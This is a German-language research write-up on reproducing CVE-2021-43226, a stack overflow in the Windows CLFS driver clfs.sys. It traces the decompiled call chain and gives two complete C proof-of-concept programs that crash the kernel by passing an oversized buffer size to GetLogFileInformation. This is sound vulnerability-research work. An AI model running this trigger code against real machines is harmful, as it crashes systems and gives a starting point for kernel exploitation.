
Ein Machbarkeitsnachweis für cve-2021-43226, Stack-Überlauf im Windows-Treiber clfs.sys
Betriebssystem: Win10 20H2 Build 19042.508 auf Hyper-V. Eine Website gefunden: https://os.click/en, die Windows-Images ziemlich vollständig und bisher ohne Hintertür enthält.
Da das gefundene PoC mit Visual Studio 2013 kompiliert wurde, verwende auch ich Visual Studio 2013 mit statischer Verknüpfung.
Der Schwachstellenpunkt liegt in der Funktion CClfsLogFcbVirtual::QueryLogFileInfo in clfs.sys. clfs.sys wird in der Microsoft-Dokumentation beschrieben als:
The Common Log File System (CLFS) API provides a high-performance, general-purpose log file subsystem that dedicated client applications can use and multiple clients can share to optimize log access.
Der erste Zeiger dieser Funktion ist ein CClfsLogFcbVirtual* this. Vergleicht man den Code vor und nach dem Patch, fällt ein relativ offensichtlicher Unterschied in einem Codeabschnitt wie diesem auf:
v11 = (*(__int64 (__fastcall **)(_QWORD, struct _FILE_OBJECT *, _QWORD, _QWORD, _DWORD, __int64 *, unsigned int *))(**((_QWORD **)this + 78) + 152i64))(
*((_QWORD *)this + 78),
a2,
0i64,
0i64,
0,
Src,
Size);
ob zuvor Size auf 120 gesetzt wurde oder nicht.
Unter den anderen von dieser Funktion aufgerufenen Parametern ist a2 ein FILE_OBJECT, Src ein Array auf dem Stack (IDA dekompiliert zu __int64 Src[16]; // [rsp+60h] [rbp-C8h] BYREF), und die Beschreibung dieser Schwachstelle lautet Stack-Überlauf. Es wird vermutet, dass ein Stack-Überlauf auftritt, wenn Size größer als 120 ist.
Ein Problem war, dass Cross-References nicht direkt eingesehen werden konnten. Die Funktion wird über __guard_dispatch_icall_fptr aufgerufen. Derzeit wird noch ermittelt, wie die Parameterübergabe im Funktionsaufruf erfolgt.
(Update): Diese Funktion wird von ClfsQueryLogFileInformation oder CClfsRequest::LogFileInfo aufgerufen, die jeweils die APIs CreateLogFile und GetLogFileInformation verwenden. Da die Aufrufkette von GetLogFileInformation deutlich kürzer ist, wurde diese API gewählt, um einen Crash zu erzeugen.
Die letzte Parameterübergabe beim Aufruf von GetLogFileInformation erfolgt in der Funktion LogFileInfo wie folgt:
v10 = (*(__int64 (__fastcall **)(_QWORD, struct _FILE_OBJECT *, _QWORD))(**((_QWORD **)this + 18) + 240i64))(
*((_QWORD *)this + 18),
v14,
**(unsigned int **)(*((_QWORD *)this + 6) + 24i64));
Dabei ist v14 ein FileObject, und this ist ein CClfsRequest, das als Parameter an LogFileInfo übergeben wurde.
Betrachtet man die Funktion, die LogFileInfo aufruft, nämlich CClfsRequest::Dispatch (genaue Deklaration: __int64 fastcall CClfsRequest::Dispatch(CClfsRequest *this, PIRP Irp, struct _DEVICE_OBJECT *a3)), so verwendet diese LowPart = CurrentStackLocation->Parameters.Read.ByteOffset.LowPart; um zu bestimmen, welche Funktion genau aufgerufen wird. Dabei ist CurrentStackLocation ein Struct: struct _IO_STACK_LOCATION *CurrentStackLocation; // rdx wird als Parameter übergeben. Die Zuweisung von this hängt wiederum von den Parametern ab, die die übergeordnete Funktion an diese dispatch-Funktion übergibt. Daher schauen wir weiter nach oben.
Als nächstes kommt die Funktion CClfsDispatchIoRequest: v7 = CClfsRequest::Dispatch(v4, Irp, a1); a1 und Irp sind die übergebenen Parameter, a1 ist ein DeviceObject, Irp ist ein Zeiger vom Typ PIRP (zu IRP siehe https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/ns-wdm-_irp).
Die Zuweisung von v4 erfolgt wie folgt:
v6 = (CClfsRequest *)ExAllocateFromNPagedLookasideList((PNPAGED_LOOKASIDE_LIST)&CClfsRequest::m_laList);
if ( v6 )
v4 = CClfsRequest::CClfsRequest(v6); // v4 ist vom Typ int64
Weiter geht es mit der Parameterübergabe in der Funktion CClfsDriver::LogIoDispatch, die ihre eigenen Parameter direkt an die CClfsDispatchIoRequest-Funktion übergibt.
Eine Stufe weiter oben ist die Funktion nt!IofCallDriver, deren Deklaration lautet: NTSTATUS IofCallDriver( PDEVICE_OBJECT DeviceObject, __drv_aliasesMem PIRP Irp );
Zunächst die genauen Deklarationen und Parameterbedeutungen der API ermitteln.
GetLogFileInformation:
CLFSUSER_API BOOL GetLogFileInformation(
[in] HANDLE hLog,
[in, out] PCLFS_INFORMATION pinfoBuffer,
[in, out] PULONG cbBuffer
);
Die Parameter sind wie folgt definiert:
#include <stdio.h>
#include <wchar.h>
#include <Windows.h>
#include <windef.h>
#include <stdlib.h>
#include <clfsw32.h>
#include <clfs.h>
#pragma comment(lib,"clfsw32.lib")
int main(){
//create log file
wchar_t* logname = L"LOG:C:\\Users\\Public\\MyLog::Logstream";
HANDLE handle = CreateLogFile(logname, GENERIC_WRITE|GENERIC_READ, 0, NULL, OPEN_ALWAYS, 0);
if (handle == INVALID_HANDLE_VALUE){
printf("sad:(\n");
abort();
}
printf("create log file success\n");
//sizeof(CLS_INFORMATION) ist 120 also 0x78
CLFS_INFORMATION buffer;
ULONG t = 0x120;
BOOL ret_val = GetLogFileInformation(handle, &buffer, &t);
return 0;
}
Dabei werden die Parameter von CreateLogFile und GetLogFileInformation einfach aus der Microsoft-Dokumentation übernommen (https://learn.microsoft.com/en-us/previous-versions/windows/desktop/clfs/creating-a-log-file).
Bezüglich des Log-Namens gab es jedoch ein Problem. Anfangs wurde weitgehend der Dokumentation gefolgt:
Beispiel: Der Pfad "LOG:c:\MyDirectory\MyLog" erstellt die Datei "c:\MyDirectory\MyLog.blf". Dabei stellte sich jedoch heraus, dass direkt im aktuellen Verzeichnis eine Logdatei namens "c" erstellt wurde. Daraufhin wurde das PoC (Andere) angesehen und auf den unter Windows üblichen Pfad "LOG: C:\MyLog" geändert. Aber auch so funktionierte es nicht. Beim Debuggen zeigte sich, dass nicht
CClfsLogFcbVirtual::QueryLogFileInfo, sondern die FunktionCClfsLogFcbPhysical::QueryLogFileInfoaufgerufen wurde. Durch Hinzufügen eines Log-Stream-Namens funktionierte es dann.
Ein weiteres kleines Problem: Da Visual Studio bei der Codegenerierung statische Verknüpfung verwendet, meldet der Linker ohne die Zeile #pragma comment(lib,"clfsw32.lib") wiederholt Fehler, dass CreateLogFile, GetLogFileInformation nicht gefunden werden.
(https://github.com/KaLendsi/CVE-2021-43224-POC)
#include <Windows.h>
#include <wchar.h>
#include <iostream>
#include <clfsw32.h>
#include <Clfsmgmtw32.h>
#pragma comment(lib, "clfsw32.lib")
int main() {
wchar_t szLogPath[] = L"LOG:C:\\Users\\Public\\MyLog::Stream1";
//wchar_t szLogPath[] = L"??\\LOG:\\HarddiskVolume0\\MyLog";
//wchar_t szLogPath[] = L"LOG:\\\\?\\GLOBALROOT\\Device\\HarddiskVolume0\\Users\\Public\\MysssLog";
//\\\\?\\GLOBALROOT\\Device\\HarddiskVolume0
//SECURITY_ATTRIBUTES psaLogFile = {};
HANDLE hLog = CreateLogFile(szLogPath, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_ALWAYS, NULL);
if (INVALID_HANDLE_VALUE == hLog)
{
printf("error=%d\n", GetLastError());
return 1;
}
if (!RegisterManageableLogClient(hLog, 0))
printf("error=%d\n", GetLastError());
printf("hLog=%p\n", hLog);
CLFS_INFORMATION pinfoBuffer = {};
//ULONG infoSize = sizeof(pinfoBuffer);
ULONG infoSize = 0x110;
// system("pause");
DWORD dwRet = GetLogFileInformation(hLog, &pinfoBuffer, &infoSize);
if (dwRet == NULL)
{
printf("error=%d\n", GetLastError());
return 1;
}
printf("dwRet=%08x\n", dwRet);
return 0;
}